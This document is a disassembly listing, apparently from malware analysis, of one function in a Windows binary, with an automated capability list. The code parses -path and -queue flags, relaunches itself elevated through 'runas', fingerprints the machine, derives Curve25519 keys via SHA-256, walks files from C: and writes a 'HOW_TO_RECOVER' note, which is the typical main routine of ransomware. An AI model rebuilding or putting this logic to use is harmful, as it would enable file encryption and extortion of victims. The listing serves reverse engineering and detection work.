Function at 0x140009c50
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Encrypt data using curve25519
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get disk information
Get hostname
Hash data using sha256
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140067040]
xor rax, rsp
mov qword [rbp + 0x4f8], rax
xor esi, esi
xor dil, dil
mov qword [rsp + 0x68], rsi
mov r14, rcx
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x40], dil
mov dword [rsp + 0x70], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r13, rax
test rax, rax
je 0x14000a06c
mov r12d, 1
cmp dword [rsp + 0x70], r12d
jle 0x14000a063
lea r15d, [rsi + 2]
lea rbx, [rax + 8]
nop dword [rax]
mov rcx, qword [rbx]
lea rdx, [0x14005cd34]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009d15
cmp dword [rsp + 0x70], r15d
jl 0x140009d15
mov rdx, qword [rbx + 8]
lea r8, [0x14005cd3c]
lea rcx, [rsp + 0x68]
call fcn.14002ffd8
jmp 0x140009ded
mov rcx, qword [rbx]
lea rdx, [0x14005cd40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009d4f
cmp dword [rsp + 0x70], r15d
jl 0x140009d4f
mov rdx, qword [rbx + 8]
lea r8, [0x14005cd3c]
lea rcx, [rsp + 0x60]
call fcn.14002ffd8
mov byte [rsp + 0x40], 1
jmp 0x140009ded
mov rcx, qword [rbx]
lea rdx, [0x14005cd48]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009d81
cmp dword [rsp + 0x70], r15d
jl 0x140009d81
mov rdx, qword [rbx + 8]
lea r8, [0x14005cd3c]
lea rcx, [rsp + 0x60]
call fcn.14002ffd8
jmp 0x140009ded
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009dc9
cmp dword [rsp + 0x70], r15d
jl 0x140009dc9
mov rax, qword [r14 + 8]
lea r8, [rbx + 8]
cmp rax, qword [r14 + 0x10]
je 0x140009dbc
mov rdx, qword [r8]
mov rcx, rax
call fcn.140005f50
add qword [r14 + 8], 0x20
jmp 0x140009ded
mov rdx, rax
mov rcx, r14
call fcn.140011db0
jmp 0x140009ded
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009ded
cmp dword [rsp + 0x70], r15d
jl 0x140009ded
mov rcx, qword [rbx + 8]
call fcn.140030988
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000a685
mov edi, esi
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140009e51
mov rcx, qword [rsp + 0x48]
lea rax, [rbp - 0x68]
mov r9d, 4
mov dword [rbp - 0x68], 4
lea r8, [rbp - 0x5c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x5c]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140009e61
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x14000a01f
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0xf8
call fcn.140046c00
lea rcx, [rbp + 0xa0]
call fcn.14000cad0
mov esi, 1
cmp dword [rsp + 0x70], esi
jle 0x140009ed2
lea rdi, [r13 + 8]
nop dword [rax + rax]
lea rcx, [rbp + 0xb0]
call fcn.14000fea0
mov rdx, qword [rdi]
mov rcx, rax
call fcn.14000f570
mov rcx, rax
lea rdx, [0x14005cdc4]
call fcn.14000f570
inc esi
lea rdi, [rdi + 8]
cmp esi, dword [rsp + 0x70]
jl 0x140009ea0
mov edx, dword [rbp + 0x128]
xor eax, eax
xor esi, esi
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
mov qword [rbp + 0x3f0], rsi
mov eax, edx
mov ecx, 7
and al, 0x22
mov qword [rbp + 0x3f8], rcx
movups xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3e0], si
movups xmmword [rsp + 0x48], xmm0
cmp al, 2
je 0x140009f42
mov rax, qword [rbp + 0xf8]
mov r8, qword [rax]
test r8, r8
je 0x140009f42
cmp r8, qword [rbp + 0x120]
mov rax, qword [rbp + 0xd8]
cmovb r8, qword [rbp + 0x120]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140009f82
test dl, 4
jne 0x140009f78
mov rax, qword [rbp + 0xf0]
mov r9, qword [rax]
test r9, r9
je 0x140009f78
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x108]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
sar r8, 1
jmp 0x140009f82
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140009f9a
lea rcx, [rbp + 0x3e0]
call fcn.14000f170
mov rcx, qword [rbp + 0x3f8]
mov r8, qword [r13]
lea r9, [rbp + 0x3e0]
cmp rcx, 7
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rsi
cmova r9, qword [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 7
jbe 0x14000a013
mov rcx, qword [rbp + 0x3e0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a00e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a83f
call fcn.1400239d0
lea rcx, [rbp + 0xa0]
call fcn.1400099d0
mov rax, qword [r14 + 8]
cmp rax, qword [r14 + 0x10]
je 0x14000a03b
mov rdx, qword [rbx]
mov rcx, rax
call fcn.140005f50
add qword [r14 + 8], 0x20
jmp 0x14000a049
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.140011db0
inc r12d
inc r15d
add rbx, 8
cmp r12d, dword [rsp + 0x70]
jl 0x140009ce0
movzx edi, byte [rsp + 0x40]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, 1
or rax, rdx
mov dword [rsp + 0x20], esi
imul eax, dword [rbp - 0x48]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x64], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14000a0f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14000a10f
mov r9d, 1
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000a10f
mov rcx, qword [rbp - 0x58]
lea r8, [rbp - 0x64]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x64]
lea r10, [0x14006a760]
mov edx, 1
mov dword [0x14006a760], eax
mov ebx, edx
mov eax, edx
mov r8d, edx
mov r9d, edx
nop
cdqe
mov ecx, dword [r10 + rax*4 - 4]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
movsxd rax, ebx
add ecx, edx
lea edx, [r8 + 1]
mov dword [r10 + rax*4], ecx
mov ebx, edx
movsxd rax, r9d
mov r8d, edx
mov dword [0x14006b120], edx
mov r9d, edx
mov dword [r10 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x14000a130
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rbp + 0x408], 9
xorps xmm0, xmm0
mov qword [rbp + 0x419], rax
lea rdx, [rbp - 0x60]
mov dword [rbp + 0x421], eax
lea rcx, [rbp + 0x430]
mov word [rbp + 0x425], ax
movups xmmword [rbp + 0x409], xmm0
mov byte [rbp + 0x427], al
movups xmmword [rbp + 0x430], xmm0
mov dword [rsp + 0x78], 0x7afa20cd
mov dword [rsp + 0x7c], 0xaa84f355
mov dword [rbp - 0x80], 0x45c127ff
mov dword [rbp - 0x7c], 0x63bd3666
mov dword [rbp - 0x78], 0x219e3274
mov dword [rbp - 0x74], 0x8166807b
mov dword [rbp - 0x70], 0x45204f1a
mov dword [rbp - 0x6c], 0xffc1b891
mov dword [rbp - 0x60], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
mov qword [rbp - 0x50], rsi
mov edx, 0x40
lea rcx, [rbp + 0x470]
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x470]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000a289
xor r9d, r9d
lea rdx, [rbp - 0x50]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0x208
call fcn.140046c00
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x14000a2f3
mov dword [rsp + 0x38], esi
lea r9, [rbp - 0x68]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov word [rbp + 0xa6], si
mov dword [rbp - 0x68], esi
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x14000a2f3
mov r8d, dword [rbp - 0x68]
test r8d, r8d
jne 0x14000a2f9
mov r8d, 0xdead
movsd xmm1, qword [0x140067c90]
xor eax, eax
xor ecx, ecx
mov dword [rbp + 0x2f0], r8d
cpuid
xorps xmm0, xmm0
movsd qword [rbp + 0x304], xmm1
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x48], eax
mov eax, dword [0x140067c98]
mov dword [rsp + 0x50], ecx
lea rcx, [rbp + 0x318]
mov dword [rsp + 0x54], edx
lea rdx, [rbp + 0x430]
mov dword [rbp + 0x30c], eax
mov eax, dword [rbp - 0x4c]
mov dword [rsp + 0x4c], ebx
movups xmm0, xmmword [rsp + 0x48]
mov ebx, dword [rbp - 0x60]
mov dword [rbp + 0x310], eax
mov r8d, ebx
mov eax, dword [rbp - 0x50]
mov dword [rbp + 0x314], eax
movups xmmword [rbp + 0x2f4], xmm0
call fcn.140046fc0
lea r8d, [rbx + 0x28]
mov qword [rbp + 0x20], 0
lea rdx, [rbp + 0x2f0]
mov dword [rbp], 0x6a09e667
lea rcx, [rbp - 0x40]
mov dword [rbp + 4], 0xbb67ae85
mov dword [rbp + 8], 0x3c6ef372
mov dword [rbp + 0xc], 0xa54ff53a
mov dword [rbp + 0x10], 0x510e527f
mov dword [rbp + 0x14], 0x9b05688c
mov dword [rbp + 0x18], 0x1f83d9ab
mov dword [rbp + 0x1c], 0x5be0cd19
call fcn.1400050c0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x40]
call fcn.140005220
movups xmm0, xmmword [rbp + 0x4b0]
lea rdx, [rsp + 0x78]
movups xmm1, xmmword [rbp + 0x4c0]
lea rcx, [rbp + 0x2f0]
movd eax, xmm0
movups xmmword [rbp + 0x3f0], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3e0], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x3ff], al
call fcn.1400026c0
lea r9, [rbp + 0x2f0]
lea r8, [rbp + 0x3e0]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x390]
call fcn.1400039c0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x340]
call fcn.140003e20
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x390]
lea rcx, [rbp - 0x40]
call fcn.1400020f0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x440]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x440]
movups xmm1, xmmword [rbp + 0x450]
movd eax, xmm0
movups xmmword [rbp + 0x3f0], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3e0], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x390]
mov byte [rbp + 0x3ff], al
call fcn.1400026c0
lea r9, [rbp + 0x390]
lea r8, [rbp + 0x3e0]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x2f0]
call fcn.1400039c0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x340]
call fcn.140003e20
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x40]
call fcn.1400020f0
lea rdx, [rbp - 0x40]
lea rcx, [0x14006a140]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x440]
lea rdx, [0x140067ca8]
movups xmm1, xmmword [rbp + 0x450]
lea rcx, [rbp + 0x390]
movd eax, xmm0
movups xmmword [rbp + 0x418], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x408], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x427], al
call fcn.1400026c0
lea r9, [rbp + 0x390]
lea r8, [rbp + 0x408]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x2f0]
call fcn.1400039c0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x340]
call fcn.140003e20
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x40]
call fcn.1400020f0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x4d8]
call fcn.1400028c0
mov r8d, 0x20
mov qword [rbp + 0x90], 0
lea rdx, [rbp + 0x4d8]
mov dword [rbp + 0x70], 0x6a09e667
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x74], 0xbb67ae85
mov dword [rbp + 0x78], 0x3c6ef372
mov dword [rbp + 0x7c], 0xa54ff53a
mov dword [rbp + 0x80], 0x510e527f
mov dword [rbp + 0x84], 0x9b05688c
mov dword [rbp + 0x88], 0x1f83d9ab
mov dword [rbp + 0x8c], 0x5be0cd19
call fcn.1400050c0
lea rdx, [0x14006a118]
lea rcx, [rbp + 0x30]
call fcn.140005220
call fcn.140012ac0
mov eax, dword [0x140067ca4]
lea r8, [rbp + 0xa0]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000a789
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14000a789
mov dword [0x140067ca4], esi
jmp 0x14000a792
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rsp + 0x78]
call fcn.140005f50
movsxd rax, r12d
mov rdi, 0xffffffffffffffff
mov r9, qword [r13 + rax*8]
inc rdi
cmp word [r9 + rdi*2], 0
jne 0x14000a6a5
mov rcx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x78]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000a6f6
cmp rcx, 7
lea rax, [rsi + rdi]
lea rbx, [rsp + 0x78]
mov qword [rbp - 0x78], rax
cmova rbx, qword [rsp + 0x78]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call fcn.140046fc0
lea rax, [rsi + rdi]
xor edi, edi
mov word [rbx + rax*2], di
jmp 0x14000a710
movzx r8d, byte [rsp + 0x40]
lea rcx, [rsp + 0x78]
mov rdx, rdi
mov qword [rsp + 0x20], rdi
call fcn.140006050
xor edi, edi
cmp qword [rbp - 0x70], 7
lea rdx, [rsp + 0x78]
mov r9d, 0x10
lea r8, str.Error
cmova rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14000a776
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a771
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a839
call fcn.1400239d0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], di
jmp 0x14000a801
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14006a2c0]
call fcn.140007060
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
lea r8, [0x140009bb0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x60]
mov r9, r14
mov rcx, qword [rsp + 0x68]
movzx r8d, dil
mov rbx, rax
call fcn.140008270
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.1400075a0
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14006a118], xmm0
movups xmmword [0x14006a128], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140009100
mov rcx, r14
call fcn.14000e2d0
mov rcx, qword [rbp + 0x4f8]
xor rcx, rsp
call fcn.1400236d0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002fcf8
int3
call fcn.14002fcf8
int3